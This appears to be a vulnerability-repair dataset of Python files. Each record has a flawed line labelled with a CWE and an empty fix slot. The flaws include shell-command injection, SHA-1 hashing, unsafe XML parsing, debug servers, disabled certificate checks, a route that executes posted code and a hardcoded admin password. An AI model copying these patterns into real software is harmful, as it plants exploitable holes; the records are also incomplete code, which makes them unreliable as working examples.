IndexError:\n\trun = False\nif(run):\n\t\n# BUG: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')\n# os.system(\"python3 ./run.py \"+fil)\n# FIXED: \n\n \n\n\texit()\nd = str(datetime.datetime.today())\nprint(\"MathP v1.0.0 Beta 1 [\" + d + \"]\")\nprint(\"viveklabs inc. Written in Python\")\nprint(\"Type ex() to exit\")\nprint(\"\")\nwhile(True):\n\ttry:\n\t\tx = input(\".>>\")\n\texcept EOFError:\n\t\tprint(\"\")\n\t\texit()\n\texcept KeyboardInterrupt:\n\t\tprint(\"\")\n\t\tprint(\"MathP Error\")\n\t\tprint(\"KeyboardInterruptError: Keyboard Interrupt\")\n\t\tcontinue\n\texcept TypeError:\n\t\tprint(\"\")\n\t\tprint(\"MathP Error\")\n\t\tprint(\"SpecialError: No Special characters\\n\")\n\tif(x == \"ex()\"):\n\t\texit()\n\ttry:\n\t\tprint(mathp_eval.mathpeval(x))\n\texcept SyntaxError:\n\t\tprint(\"MathP Error\")\n\t\tprint(\"SyntaxError: Invalid Syntax\\n\")\n\texcept ValueError:\n\t\tprint(\"MathP Error\")\n\t\tprint(\"StringErrorValue: Use numbers only\\n\")\n\texcept NameError:\n\t\tprint(\"MathP Error\")\n\t\tprint(\"StringErrorName: Use numbers only\\n\")\n\texcept EOFError:\n\t\texit()\n\texcept KeyboardInterrupt:\n\t\tprint(\"KeyboardInterruptError: Keyboard Interrupt\")\n\texcept TypeError:\n\t\tprint(\"\")\n\t\tprint(\"MathP Error\")\n\t\tprint(\"StringErrorType: Use numbers only\\n\")\n\texcept ZeroDivisionError:\n\t\tprint(\"\")\n\t\tprint(\"MathP Error\")\n\t\tprint(\"DivisionByZeroError: Don't divide by zero!\")\n\n"} {"language": "python", "text": "import os.path\nimport web\nfrom web import config as cfg\nfrom hashlib import sha1\nfrom pycms.utils.render import render_mako\n\n\nrender = render_mako(\n directories=[os.path.join(cfg.template_dir, 'account')],\n input_encoding='utf-8',\n output_encoding='utf-8',\n )\n\nadmin_render = render_mako(\n directories=[os.path.join(cfg.admin_template_dir, 'account'), cfg.admin_template_dir],\n input_encoding='utf-8',\n output_encoding='utf-8',\n )\n\nclass LazyUser(object):\n def __get__(self, obj, objtype):\n from pycms.account.auth import get_logined_user\n return get_logined_user()\n\ndef get_hexdigest(salt, raw_password):\n \n# BUG: CWE-327: Use of a Broken or Risky Cryptographic Algorithm\n# return sha1(salt + raw_password).hexdigest()\n# FIXED: \n\n \n\n\ndef check_password(raw_password, enc_password):\n salt, hsh = enc_password.split('$')\n return hsh == get_hexdigest(salt, raw_password)\n"} {"language": "python", "text": "from operator import attrgetter\nfrom unittest import TestCase\n\n# BUG: CWE-611: Improper Restriction of XML External Entity Reference\n# from xml.etree import ElementTree as ET\n# FIXED: \n\n \n\nfrom faker import Faker\n\nfake = Faker()\n\n\nclass ModelTestCase(TestCase):\n def assertElementsEquals(self, el, expected_el):\n # Sort elements by key\n el[:] = sorted(el, key=attrgetter(\"tag\"))\n expected_el[:] = sorted(expected_el, key=attrgetter(\"tag\"))\n\n # Check if elements are equal\n self.assertEqual(ET.tostring(el), ET.tostring(expected_el))\n"} {"language": "python", "text": "from __future__ import absolute_import, division, unicode_literals\n\nfrom types import ModuleType\n\ntry:\n \n# BUG: CWE-611: Improper Restriction of XML External Entity Reference\n# import xml.etree.cElementTree as default_etree\n# FIXED: \n\n \n\nexcept ImportError:\n import xml.etree.ElementTree as default_etree\n\n\n__all__ = [\"default_etree\", \"MethodDispatcher\", \"isSurrogatePair\",\n \"surrogatePairToCodepoint\", \"moduleFactoryFactory\"]\n\n\nclass MethodDispatcher(dict):\n \"\"\"Dict with 2 special properties:\n\n On initiation, keys that are lists, sets or tuples are converted to\n multiple keys so accessing any one of the items in the original\n list-like object returns the matching value\n\n md = MethodDispatcher({(\"foo\", \"bar\"):\"baz\"})\n md[\"foo\"] == \"baz\"\n\n A default value which can be set through the default attribute.\n \"\"\"\n\n def __init__(self, items=()):\n # Using _dictEntries instead of directly assigning to self is about\n # twice as fast. Please do careful performance testing before changing\n # anything here.\n _dictEntries = []\n for name, value in items:\n if type(name) in (list, tuple, frozenset, set):\n for item in name:\n _dictEntries.append((item, value))\n else:\n _dictEntries.append((name, value))\n dict.__init__(self, _dictEntries)\n self.default = None\n\n def __getitem__(self, key):\n return dict.get(self, key, self.default)\n\n\n# Some utility functions to dal with weirdness around UCS2 vs UCS4\n# python builds\n\ndef isSurrogatePair(data):\n return (len(data) == 2 and\n ord(data[0]) >= 0xD800 and ord(data[0]) <= 0xDBFF and\n ord(data[1]) >= 0xDC00 and ord(data[1]) <= 0xDFFF)\n\n\ndef surrogatePairToCodepoint(data):\n char_val = (0x10000 + (ord(data[0]) - 0xD800) * 0x400 +\n (ord(data[1]) - 0xDC00))\n return char_val\n\n# Module Factory Factory (no, this isn't Java, I know)\n# Here to stop this being duplicated all over the place.\n\n\ndef moduleFactoryFactory(factory):\n moduleCache = {}\n\n def moduleFactory(baseModule, *args, **kwargs):\n if isinstance(ModuleType.__name__, type(\"\")):\n name = \"_%s_factory\" % baseModule.__name__\n else:\n name = b\"_%s_factory\" % baseModule.__name__\n\n if name in moduleCache:\n return moduleCache[name]\n else:\n mod = ModuleType(name)\n objs = factory(baseModule, *args, **kwargs)\n mod.__dict__.update(objs)\n moduleCache[name] = mod\n return mod\n\n return moduleFactory\n"} {"language": "python", "text": "#!flask/bin/python\nfrom app import app\n\n# BUG: CWE-668: Exposure of Resource to Wrong Sphere\n# app.run(debug = True)\n# FIXED: \n\n \n"} {"language": "python", "text": "\"\"\"\nWrapper class that takes a list of template loaders as an argument and attempts\nto load templates from them in order, caching the result.\n\"\"\"\n\nimport hashlib\nfrom django.template.base import TemplateDoesNotExist\nfrom django.template.loader import BaseLoader, get_template_from_string, find_template_loader, make_origin\nfrom django.utils.encoding import force_bytes\n\nclass Loader(BaseLoader):\n is_usable = True\n\n def __init__(self, loaders):\n self.template_cache = {}\n self._loaders = loaders\n self._cached_loaders = []\n\n @property\n def loaders(self):\n # Resolve loaders on demand to avoid circular imports\n if not self._cached_loaders:\n # Set self._cached_loaders atomically. Otherwise, another thread\n # could see an incomplete list. See #17303.\n cached_loaders = []\n for loader in self._loaders:\n cached_loaders.append(find_template_loader(loader))\n self._cached_loaders = cached_loaders\n return self._cached_loaders\n\n def find_template(self, name, dirs=None):\n for loader in self.loaders:\n try:\n template, display_name = loader(name, dirs)\n return (template, make_origin(display_name, loader, name, dirs))\n except TemplateDoesNotExist:\n pass\n raise TemplateDoesNotExist(name)\n\n def load_template(self, template_name, template_dirs=None):\n key = template_name\n if template_dirs:\n # If template directories were specified, use a hash to differentiate\n \n# BUG: CWE-327: Use of a Broken or Risky Cryptographic Algorithm\n# key = '-'.join([template_name, hashlib.sha1(force_bytes('|'.join(template_dirs))).hexdigest()])\n# FIXED: \n\n \n\n\n try:\n template = self.template_cache[key]\n except KeyError:\n template, origin = self.find_template(template_name, template_dirs)\n if not hasattr(template, 'render'):\n try:\n template = get_template_from_string(template, origin, template_name)\n except TemplateDoesNotExist:\n # If compiling the template we found raises TemplateDoesNotExist,\n # back off to returning the source and display name for the template\n # we were asked to load. This allows for correct identification (later)\n # of the actual template that does not exist.\n return template, origin\n self.template_cache[key] = template\n return template, None\n\n def reset(self):\n \"Empty the template cache.\"\n self.template_cache.clear()\n"} {"language": "python", "text": "\n# BUG: CWE-611: Improper Restriction of XML External Entity Reference\n# from xml.etree.ElementTree import parse as parse_xml\n# FIXED: \n\n \n\nfrom .base import INT, UINT, FLOAT, STRING, UNICODE, DATE, BINARY, CONTAINER, Element, Document\n\n\nSPECDATA_TYPES = {\n\t'integer': INT,\n\t'uinteger': UINT,\n\t'float': FLOAT,\n\t'string': STRING,\n\t'utf-8': UNICODE,\n\t'date': DATE,\n\t'binary': BINARY,\n\t'master': CONTAINER\n}\n\n\ndef parse_specdata(source, doc_name, doc_type, doc_version):\n\t\"\"\"\n\t\n\tReads a schema specification from a file (e.g., specdata.xml) or file-like object, and returns a tuple containing:\n\t\n\t\t* a mapping of class names to Element subclasses\n\t\t* a Document subclass\n\t\n\t:arg source: the file or file-like object\n\t:type source: str or file-like object\n\t:arg schema_name: the name of the schema\n\t:type schema_name: str\n\t:returns: tuple\n\t\n\t\"\"\"\n\t\n\ttree = parse_xml(source)\n\telements = {}\n\tglobals = []\n\t\n\tdef child_elements(parent_level, element_list, upper_recursive=None):\n\t\tchildren = []\n\t\twhile element_list:\n\t\t\traw_element = element_list[0]\n\t\t\traw_attrs = raw_element.attrib\n\t\t\t\n\t\t\telement_level = int(raw_attrs['level'])\n\t\t\t\n\t\t\tis_global = False\n\t\t\tif element_level == -1:\n\t\t\t\tis_global = True\n\t\t\telif parent_level is not None and not element_level > parent_level:\n\t\t\t\tbreak\n\t\t\telement_list = element_list[1:]\n\n\t\t\telement_name = '%sElement' % raw_attrs.get('cppname', raw_attrs.get('name')).translate(None, '-')\n\t\t\telement_attrs = {\n\t\t\t\t'__module__': None,\n\t\t\t\t'id': int(raw_attrs['id'], 0),\n\t\t\t\t'name': raw_attrs['name'],\n\t\t\t\t'type': SPECDATA_TYPES[raw_attrs['type']],\n\t\t\t\t'mandatory': True if raw_attrs.get('mandatory', False) == '1' else False,\n\t\t\t\t'multiple': True if raw_attrs.get('multiple', False) == '1' else False\n\t\t\t}\n\t\t\ttry:\n\t\t\t\telement_attrs['default'] = {\n\t\t\t\t\tINT: lambda default: int(default),\n\t\t\t\t\tUINT: lambda default: int(default),\n\t\t\t\t\tFLOAT: lambda default: float(default),\n\t\t\t\t\tSTRING: lambda default: str(default),\n\t\t\t\t\tUNICODE: lambda default: unicode(default)\n\t\t\t\t}.get(element_attrs['type'], lambda default: default)(raw_attrs['default'])\n\t\t\texcept (KeyError, ValueError):\n\t\t\t\telement_attrs['default'] = None\n\t\t\t\n\t\t\telement = type(element_name, (Element,), element_attrs)\n\t\t\telements[element_name] = element\n\t\t\t\n\t\t\trecursive = []\n\t\t\tif upper_recursive:\n\t\t\t\trecursive.extend(upper_recursive)\n\t\t\tif raw_attrs.get('recursive', False) == '1':\n\t\t\t\trecursive.append(element)\n\t\t\t\n\t\t\telement_children, element_list = child_elements(element_level if not is_global else 0, element_list, recursive)\n\t\t\telement_children += tuple(recursive)\n\t\t\telement.children = element_children\n\t\t\t\n\t\t\tif is_global:\n\t\t\t\tglobals.append(element)\n\t\t\telse:\n\t\t\t\tchildren.append(element)\n\t\treturn tuple(children), element_list\n\t\n\tchildren = child_elements(None, tree.getroot().getchildren())[0]\n\t\n\tdocument_attrs = {\n\t\t'__module__': None,\n\t\t'type': doc_type,\n\t\t'version': doc_version,\n\t\t'children': children,\n\t\t'globals': tuple(globals)\n\t}\n\tdocument = type(doc_name, (Document,), document_attrs)\n\t\n\treturn elements, document"} {"language": "python", "text": "# Stubs for xml.etree.ElementPath (Python 3.4)\n\nfrom typing import Pattern, Dict, Generator, Tuple, List, Union, TypeVar, Callable, Optional\n\n# BUG: CWE-611: Improper Restriction of XML External Entity Reference\n# from xml.etree.ElementTree import Element\n# FIXED: \n\n \n\n\nxpath_tokenizer_re = ... # type: Pattern\n\n_token = Tuple[str, str]\n_next = Callable[[], _token]\n_callback = Callable[['_SelectorContext', List[Element]], Generator[Element, None, None]]\n\ndef xpath_tokenizer(pattern: str, namespaces: Dict[str, str]=...) -> Generator[_token, None, None]: ...\ndef get_parent_map(context: '_SelectorContext') -> Dict[Element, Element]: ...\ndef prepare_child(next: _next, token: _token) -> _callback: ...\ndef prepare_star(next: _next, token: _token) -> _callback: ...\ndef prepare_self(next: _next, token: _token) -> _callback: ...\ndef prepare_descendant(next: _next, token: _token) -> _callback: ...\ndef prepare_parent(next: _next, token: _token) -> _callback: ...\ndef prepare_predicate(next: _next, token: _token) -> _callback: ...\n\nops = ... # type: Dict[str, Callable[[_next, _token], _callback]]\n\nclass _SelectorContext:\n parent_map = ... # type: Dict[Element, Element]\n root = ... # type: Element\n def __init__(self, root: Element) -> None: ...\n\n_T = TypeVar('_T')\n\ndef iterfind(elem: Element, path: str, namespaces: Dict[str, str]=...) -> List[Element]: ...\ndef find(elem: Element, path: str, namespaces: Dict[str, str]=...) -> Optional[Element]: ...\ndef findall(elem: Element, path: str, namespaces: Dict[str, str]=...) -> List[Element]: ...\ndef findtext(elem: Element, path: str, default: _T=..., namespaces: Dict[str, str]=...) -> Union[_T, str]: ...\n"} {"language": "python", "text": "from pynorama import register_view, make_server\nfrom reuters import ReutersView\n\n\nif __name__ == '__main__':\n app = make_server()\n register_view(ReutersView())\n \n# BUG: CWE-668: Exposure of Resource to Wrong Sphere\n# app.run(host='0.0.0.0', port=5051, threaded=True)\n# FIXED: \n\n \n\n"} {"language": "python", "text": "# -*- coding: utf-8 -*-\n# 3.0\n\n# \n\nimport requests\nimport json\n\n# \n\nBASE = 'http://conceptnet5.media.mit.edu/data/5.2'\n\n# \n\ndef conceptnet_lookup(uri):\n \n# BUG: CWE-319: Cleartext Transmission of Sensitive Information\n# return requests.get(BASE + uri).json()\n# FIXED: \n\n \n\n\n# \n\nfor edge in conceptnet_lookup('/c/en/learn')['edges']:\n print [edge['rel'], edge['start'], edge['end']]\n\n# \n\nconceptnet_lookup('/assoc/list/en/good@1,bad@-1')\n\n# \n\nconceptnet_lookup('/assoc/list/en/good@1,bad@-1?filter=/c/en')\n\n# \n\nconceptnet_lookup('/assoc/list/en/good@-1,bad@1?filter=/c/en')\n\n# \n\nconceptnet_lookup('/assoc/c/en/travel?filter=/c/en')\n\n# \n\n\n"} {"language": "python", "text": "from __future__ import absolute_import, division, unicode_literals\n\n\n# BUG: CWE-611: Improper Restriction of XML External Entity Reference\n# from xml.dom import Node\n# FIXED: \n\n \n\n\n#import gettext\n#_ = gettext.gettext\n_ = lambda x: x\n\nfrom . import _base\n\n\nclass TreeWalker(_base.NonRecursiveTreeWalker):\n def getNodeDetails(self, node):\n if node.nodeType == Node.DOCUMENT_TYPE_NODE:\n return _base.DOCTYPE, node.name, node.publicId, node.systemId\n\n elif node.nodeType in (Node.TEXT_NODE, Node.CDATA_SECTION_NODE):\n return _base.TEXT, node.nodeValue\n\n elif node.nodeType == Node.ELEMENT_NODE:\n attrs = {}\n for attr in list(node.attributes.keys()):\n attr = node.getAttributeNode(attr)\n if attr.namespaceURI:\n attrs[(attr.namespaceURI, attr.localName)] = attr.value\n else:\n attrs[(None, attr.name)] = attr.value\n return (_base.ELEMENT, node.namespaceURI, node.nodeName,\n attrs, node.hasChildNodes())\n\n elif node.nodeType == Node.COMMENT_NODE:\n return _base.COMMENT, node.nodeValue\n\n elif node.nodeType in (Node.DOCUMENT_NODE, Node.DOCUMENT_FRAGMENT_NODE):\n return (_base.DOCUMENT,)\n\n else:\n return _base.UNKNOWN, node.nodeType\n\n def getFirstChild(self, node):\n return node.firstChild\n\n def getNextSibling(self, node):\n return node.nextSibling\n\n def getParentNode(self, node):\n return node.parentNode\n"} {"language": "python", "text": "#!/usr/bin/python2\n\nfrom __future__ import print_function\nfrom jsonrpclib import Server \nimport ssl\n\n\n# BUG: CWE-295: Improper Certificate Validation\n# ssl._create_default_https_context = ssl._create_unverified_context\n# FIXED: \n\n \n\n\nswitch = Server(\"https://admin:arista@192.168.199.158/command-api\") \n\nresponse = switch.runCmds( 1, [ \"show version\" ] ) \nprint('Serial Number: ' + response[0]['serialNumber'])\n"} {"language": "python", "text": "import io\n\n# BUG: CWE-611: Improper Restriction of XML External Entity Reference\n# import xml.etree.ElementTree as ET\n# FIXED: \n\n \n\n\n\nDATA = 'foobartail2tail1'\n\n\nroot = ET.fromstring(DATA)\nassert isinstance(root, ET.Element)\n\net = ET.parse(io.StringIO(DATA))\nassert isinstance(et, ET.ElementTree)\nroot = et.getroot()\nassert isinstance(root, ET.Element)\n\nprint(root, root.tag, root.attrib, root[0].tag)\n\nassert root.tag == \"html\"\nassert root.attrib == {'attr1': 'val1', 'attr2': 'val2'}\nassert root.text is None\nassert root.tail is None\nassert len(root) == 2\n\nt = root[0]\nassert t.tag == \"body\"\nassert t.text == \"foo\"\nassert t.tail is None\n\nt = root[1]\nassert t.tag == \"tag1\"\nassert t.text is None\nassert t.tail == \"tail1\"\nassert len(t) == 1\n\nt = t[0]\nassert t.tag == \"tag2\"\nassert t.text == \"bar\"\nassert t.tail == \"tail2\"\nassert len(t) == 0\n"} {"language": "python", "text": "import subprocess\nimport sys\n\nprint \"USAGE: python experiment.py <# runs> [options...]\"\nprint\nprint \" will generate files of form ...out\"\nprint \" where number is 0-<#runs>-1\"\nprint \" config file has format on each line\"\nprint \" and options are common options for each run (e.g., timeout, coverage reporting\"\n\nprefix = sys.argv[1]\nrepeats = int(sys.argv[2])\nconfigs = sys.argv[3]\noptions = sys.argv[4:]\n\nruns = {}\n\nfor l in open(configs):\n ls = l.split()\n runs[ls[0]] = (ls[1], ls[2:])\n\nfor i in xrange(0,repeats):\n for name in runs:\n out = prefix + \".\" + name + \".\" + str(i) + \".out\"\n outf = open(out,'w')\n print \"GENERATING\",out\n (command, params) = runs[name]\n cmd = \"python \"\n cmd += command\n for p in params:\n cmd += \" \" + p\n for p in options:\n cmd += \" \" + p\n \n# BUG: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')\n# subprocess.call([cmd],shell=True,stdout = outf,stderr = outf)\n# FIXED: \n\n \n\n outf.close()\n \n"} {"language": "python", "text": "from flask import Flask\nimport os\nimport importlib\nimport sys\nimport traceback\n\nMODULE_NAMES = ['numpy']\nmodules = {}\n\nfor m in MODULE_NAMES:\n modules[m] = importlib.import_module(m)\n\napp = Flask(__name__)\n\n\ndef module_version(module_name):\n m = modules[module_name]\n if m is None:\n version_string = \"{}: unable to import\".format(module_name)\n else:\n version_string = \"{}: {}\".format(module_name, m.__version__)\n return version_string\n\n\n@app.route('/')\ndef root():\n versions = \"
\"+(\"
\".join([module_version(m) for m in MODULE_NAMES]))\n python_version = \"python-version%s\" % sys.version\n r = \"

Imports Successful!
\"\n return python_version + versions + r\n\nif __name__ == '__main__':\n try:\n port = int(os.getenv(\"PORT\", 8080))\n \n# BUG: CWE-668: Exposure of Resource to Wrong Sphere\n# app.run(host='0.0.0.0', port=port, debug=True)\n# FIXED: \n\n \n\n except Exception as e:\n print(\"*** CRASHED!!!\")\n traceback.print_exc()\n raise e\n"} {"language": "python", "text": "from flask import Flask, request\nfrom nltk.corpus import brown\nimport subprocess\n\napp = Flask(__name__)\n\n@app.route(\"/\")\ndef hello():\n return ' '.join(brown.words())\n\ndef nltktest():\n return ' '.join(brown.words())\n\n@app.route('/execute', methods=['POST'])\ndef execute():\n with open('runtime.py', 'w') as f:\n \n# BUG: CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection')\n# f.write(request.values.get('code'))\n# FIXED: \n\n \n\n return subprocess.check_output([\"python\", \"runtime.py\"])\n\napp.debug=True\n"} {"language": "python", "text": "from flask import Flask,render_template\n\napp = Flask(__name__)\n\n\n@app.route('/')\ndef index():\n return render_template('index.html')\n\n# * The data that needed to be passed is a list of dictionaries\nall_posts = [\n {\n 'title':'Post 1',\n 'content':'This is the content for post 1.',\n 'author':'Aswnss'\n },\n {\n 'title':'Post 2',\n 'content':'This is the content of post 2.'\n }\n]\n\n\n@app.route('/posts')\ndef posts():\n # ! Passing data to an html file is done using render_template\n # TODO render_template('', = )\n return render_template('posts.html', posts=all_posts)\n\nif __name__ == \"__main__\":\n \n# BUG: CWE-489: Active Debug Code\n# app.run(debug=True)\n# FIXED: \n\n \n"} {"language": "python", "text": "#!/usr/bin/env python3\n\nimport unittest\nimport subprocess\nimport re\nimport sys\nimport logging\nimport os\n\nlogging.basicConfig(\n level=logging.DEBUG, stream=sys.stderr,\n format=\"%(levelname)1s:%(filename)10s:%(lineno)3d:%(message)s\")\n\nINPUTDIR='./inputs/'\n\nclass BubbleSortTestcase(unittest.TestCase):\n def my_run(self, hexfile):\n params = os.path.join(INPUTDIR, hexfile)\n \n# BUG: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')\n# return subprocess.run('acthex --pluginpath=../plugins --plugin=acthex-testplugin '+params, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, encoding='utf8')\n# FIXED: \n\n \n\n\n def test_persistenceenv(self):\n hexfile = 'acthex_bubblesort_persistenceenv.hex'\n proc = self.my_run(hexfile)\n for line in proc.stderr.split('\\n'):\n logging.debug(\"E: %s\", line.rstrip())\n self.assertEqual(proc.stderr, '')\n\n lastValue = None\n for line in proc.stdout.split('\\n'):\n logging.debug(\"O: %s\", line.rstrip())\n if line.startswith('Sequence is '):\n lastValue = line\n integers = lastValue.split(' ')[2:]\n logging.debug('integers: '+repr(integers))\n self.assertEqual([int(x) for x in integers], [1, 2, 2, 3, 3, 5, 6])\n\n def test_sortenv(self):\n hexfile = 'acthex_bubblesort_sortenv.hex'\n proc = self.my_run(hexfile)\n for line in proc.stderr.split('\\n'):\n logging.debug(\"E: %s\", line.rstrip())\n self.assertEqual(proc.stderr, '')\n\n lastValue = None\n for line in proc.stdout.split('\\n'):\n logging.debug(\"O: %s\", line.rstrip())\n if line.startswith('Value: '):\n lastValue = line\n mos = re.findall(r'\\s([0-9]+)', lastValue)\n logging.debug(\"mos \"+repr(mos))\n self.assertEqual([int(x) for x in mos], [1, 2, 2, 3, 3, 5, 6])\n\nif __name__ == '__main__':\n unittest.main()\n"} {"language": "python", "text": "# -*- coding: utf-8 -*-\n\n## Licensed under the Apache License, Version 2.0 (the \"License\");\n## you may not use this file except in compliance with the License.\n## You may obtain a copy of the License at\n##\n## http://www.apache.org/licenses/LICENSE-2.0\n##\n## Unless required by applicable law or agreed to in writing, software\n## distributed under the License is distributed on an \"AS IS\" BASIS,\n## WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n## See the License for the specific language governing permissions and\n## limitations under the License.\n\n\"\"\"Unit test for filter class.\n\"\"\"\n\n__author__ = \"\"\"\nrws@uiuc.edu (Richard Sproat)\nhollingk@cslu.ogi.edu (Kristy Hollingshead)\n\"\"\"\n\nimport os\nimport sys\n\n# BUG: CWE-611: Improper Restriction of XML External Entity Reference\n# import xml.sax\n# FIXED: \n\n \n\nimport unittest\nimport xmlhandler\nimport tokens\nimport filter\nfrom __init__ import BASE_\n\n\nSOURCE_FILE_ = '%s/testdata/doctest.xml' % BASE_ \nGOLDEN_FILE_ = '%s/testdata/doctest_filt.xml' % BASE_ \nTEST_FILE_ = '/tmp/doctest_filt.xml'\n\ndef main(output = False):\n doclist = xmlhandler.XmlHandler().Decode(SOURCE_FILE_)\n filter_ = filter.FrequencyFilter(doclist)\n filter_.SetMinCount(2)\n filter_.Filter()\n doclist = filter_.Doclist()\n if output:\n doclist.XmlDump(GOLDEN_FILE_, utf8 = True)\n else:\n doclist.XmlDump(TEST_FILE_, utf8 = True)\n unittest.TestUnitOutputs(sys.argv[0],\\\n GOLDEN_FILE_, TEST_FILE_)\n\nif __name__ == '__main__':\n if len(sys.argv) > 1 and sys.argv[1] == 'generate':\n main(True)\n else:\n main()\n"} {"language": "python", "text": "# -*- coding: utf-8 -*-\nfrom flask import Flask,render_template,url_for,request\nimport pickle\nimport preprocessing\nfrom textblob import TextBlob\nfrom gensim.summarization import keywords\nfrom gensim.summarization import summarize\nimport spacy\n\n# load the model from disk\nclf = pickle.load(open('nb_clf.pkl', 'rb'))\ncv=pickle.load(open('tfidf_model.pkl','rb'))\napp = Flask(__name__)\n\n# load the spacy english model\nnlp = spacy.load(\"en_core_web_sm\")\n\n#home\n@app.route('/')\ndef home():\n\treturn render_template('home.html')\n\n#Sentiment\n@app.route('/nlpsentiment')\ndef sentiment_nlp():\n return render_template('sentiment.html')\n\n@app.route('/sentiment',methods = ['POST','GET'])\ndef sentiment():\n if request.method == 'POST':\n message = request.form['message']\n text = [message]\n data = preprocessing.text_Preprocessing(text)\n vect = cv.transform(text)\n my_prediction = clf.predict(vect)\n Keywords = keywords(message)\n Keywords = 'Keywords =' + str(Keywords)\n new = Keywords.split('\\n')\n newstr = ''\n for word in new:\n newstr = newstr + word + ', '\n sum_message = summarize(message)\n overview = TextBlob(message)\n Polarity = round(overview.sentiment.polarity,2)\n Polarity = 'Polarity =' + str(Polarity)\n Subjectivity = round(overview.sentiment.subjectivity,2)\n Subjectivity = 'Subjectivity =' + str(Subjectivity)\n return render_template('sentiment.html', prediction=my_prediction,newstr=newstr,sum_message=sum_message,Polarity=Polarity,Subjectivity=Subjectivity)\n\n\nif __name__ == '__main__':\n\t\n# BUG: CWE-489: Active Debug Code\n# app.run(debug=True)\n# FIXED: \n\n \n\n"} {"language": "python", "text": "from __future__ import absolute_import, division, unicode_literals\n\nfrom types import ModuleType\n\ntry:\n import xml.etree.cElementTree as default_etree\nexcept ImportError:\n \n# BUG: CWE-611: Improper Restriction of XML External Entity Reference\n# import xml.etree.ElementTree as default_etree\n# FIXED: \n\n \n\n\n\n__all__ = [\"default_etree\", \"MethodDispatcher\", \"isSurrogatePair\",\n \"surrogatePairToCodepoint\", \"moduleFactoryFactory\"]\n\n\nclass MethodDispatcher(dict):\n \"\"\"Dict with 2 special properties:\n\n On initiation, keys that are lists, sets or tuples are converted to\n multiple keys so accessing any one of the items in the original\n list-like object returns the matching value\n\n md = MethodDispatcher({(\"foo\", \"bar\"):\"baz\"})\n md[\"foo\"] == \"baz\"\n\n A default value which can be set through the default attribute.\n \"\"\"\n\n def __init__(self, items=()):\n # Using _dictEntries instead of directly assigning to self is about\n # twice as fast. Please do careful performance testing before changing\n # anything here.\n _dictEntries = []\n for name, value in items:\n if type(name) in (list, tuple, frozenset, set):\n for item in name:\n _dictEntries.append((item, value))\n else:\n _dictEntries.append((name, value))\n dict.__init__(self, _dictEntries)\n self.default = None\n\n def __getitem__(self, key):\n return dict.get(self, key, self.default)\n\n\n# Some utility functions to dal with weirdness around UCS2 vs UCS4\n# python builds\n\ndef isSurrogatePair(data):\n return (len(data) == 2 and\n ord(data[0]) >= 0xD800 and ord(data[0]) <= 0xDBFF and\n ord(data[1]) >= 0xDC00 and ord(data[1]) <= 0xDFFF)\n\n\ndef surrogatePairToCodepoint(data):\n char_val = (0x10000 + (ord(data[0]) - 0xD800) * 0x400 +\n (ord(data[1]) - 0xDC00))\n return char_val\n\n# Module Factory Factory (no, this isn't Java, I know)\n# Here to stop this being duplicated all over the place.\n\n\ndef moduleFactoryFactory(factory):\n moduleCache = {}\n\n def moduleFactory(baseModule, *args, **kwargs):\n if isinstance(ModuleType.__name__, type(\"\")):\n name = \"_%s_factory\" % baseModule.__name__\n else:\n name = b\"_%s_factory\" % baseModule.__name__\n\n if name in moduleCache:\n return moduleCache[name]\n else:\n mod = ModuleType(name)\n objs = factory(baseModule, *args, **kwargs)\n mod.__dict__.update(objs)\n moduleCache[name] = mod\n return mod\n\n return moduleFactory\n"} {"language": "python", "text": "#!flask/bin/python\nfrom app import app\n\n# BUG: CWE-668: Exposure of Resource to Wrong Sphere\n# app.run(debug = True)\n# FIXED: \n\n \n"} {"language": "python", "text": "#!/usr/bin/env python3\n# -*- coding:utf-8 -*-\n###\n# File: test_Quran_api.py\n# Created: Tuesday, 28th July 2020 3:24:47 pm\n# Author: Rakibul Yeasin (ryeasin03@gmail.com)\n# -----\n# Last Modified: Wednesday, 29th July 2020 1:27:22 am\n# Modified By: Rakibul Yeasin (ryeasin03@gmail.com)\n# -----\n# Copyright (c) 2020 Slishee\n###\n\nimport requests as rq\n\nfrom quran import Quran\n\n# res = quran.get_recitations()\n# res = quran.get_translations()\n# res = quran.get_languages(language='ur')\n# res = quran.get_tafsirs()\n# res = quran.get_chapters(6, language=\"ur\")\n# res = quran.get_verses(6, recitation=1, translations=21, language=\"en\", text_type=\"words\")\n# res = quran.get_verse(6, 6)\n# res = quran.get_juzs()\n\nqur = Quran()\n\ndef test_get_recitations():\n assert qur.get_recitations() == rq.get(\n \"http://api.quran.com:3000/api/v3/options/recitations\").json()\n\ndef test_get_translations():\n assert qur.get_translations() == rq.get(\n \"http://api.quran.com:3000/api/v3/options/translations\").json()\n\ndef test_get_languages():\n assert qur.get_languages(language='ur') == rq.get(\n \n# BUG: CWE-319: Cleartext Transmission of Sensitive Information\n# \"http://api.quran.com:3000/api/v3/options/languages?language=bn\").json()\n# FIXED: \n\n \n\n\ndef test_get_tafsirs():\n assert qur.get_tafsirs() == rq.get(\n \"http://api.quran.com:3000/api/v3/options/tafsirs\").json()\n\ndef test_get_chapter():\n assert qur.get_chapter(1, language=\"en\") == rq.get(\n \"http://api.quran.com:3000/api/v3/chapters/1?language=en\").json()\n\ndef test_get_chapters():\n qur.get_chapter(language=\"en\") # == rq.get(\n # \"http://api.quran.com:3000/api/v3/chapters?language=en\").json()\n\ndef test_get_chapter_info():\n assert qur.get_chapter(1, info=True, language=\"en\") == rq.get(\n \"http://api.quran.com:3000/api/v3/chapters/1/info?language=en\").json()\n\ndef test_get_verses():\n assert qur.get_verses(1, text_type=\"words\") == rq.get(\n \"http://api.quran.com:3000/api/v3/chapters/1/verses?text_type=words\").json()\n\ndef test_get_verse():\n assert qur.get_verse(chapter_id=1, verse_id=1) == rq.get(\n \"http://api.quran.com:3000/api/v3/chapters/1/verses/1\").json()\n\ndef test_get_juzs():\n assert qur.get_juzs() == rq.get(\n \"http://api.quran.com:3000/api/v3/juzs\").json()\n\ndef test_get_tafsirs_from_verse_id():\n assert qur.get_tafsirs_from_verse_id(chapter_id=1, verse_id=1) == rq.get(\n \"http://api.quran.com:3000/api/v3/chapters/1/verses/1/tafsirs\").json()\n\ndef test_get_tafsir_from_verse_id():\n assert qur.get_tafsir_from_verse_id(chapter_id=1, verse_id=1, 